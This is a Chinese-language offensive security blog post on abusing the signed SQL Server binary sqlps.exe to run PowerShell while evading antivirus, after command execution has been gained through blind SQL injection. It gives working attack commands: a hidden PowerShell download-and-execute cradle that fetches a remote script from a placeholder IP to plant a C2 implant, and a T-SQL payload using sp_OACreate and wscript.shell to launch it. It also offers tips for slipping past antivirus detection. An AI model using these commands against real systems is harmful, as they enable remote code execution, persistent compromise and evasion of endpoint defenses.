sqlserver下利用sqlps.exe白名单绕杀软
前言:
在一次攻防里通过sqlserver盲注拿到一个执行命令权限,但是由于是盲注回显很有问题以及有杀软,所以利用起来非常难受而且拿不到webshell或者上线c2,所以才找到这个方法。
介绍:
sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件
Microsoft SQL Server\100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。
C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\sqlps.exe
C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe
利用:
上线执行的命令
cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/360.ps1'))"
sql语句:
具体来说,它是一个 T-SQL(Transact-SQL)语句,专门用于在 SQL Server 中执行。它使用了 SQL Server 提供的 OLE Automation 存储过程(如 sp_OACreate
和 sp_OAMethod
),这些存储过程允许 SQL Server 实例与外部系统进行交互。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\ProgramData\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx/360.ps1''))"'
无sqlserver环境也可以代替powershell绕过杀软
在没有sqlserver的环境下我们也可以尝试提取出目标机器兼容的SQLPS.exe去执行powershell
虽然流氓3某0已经拦截,但还是可以尝试使用加壳、反编译或者重命名和cmd /c等方式来绕过sqlps.exe的执行。具体看我博客里另外一篇文章(命令执行绕过姿势)
这里的版本兼容问题潇湘信安公众号文章已经测试过,引用一下
https://mp.weixin.qq.com/s/QxV0tRkswdMMIBuqk4TQbg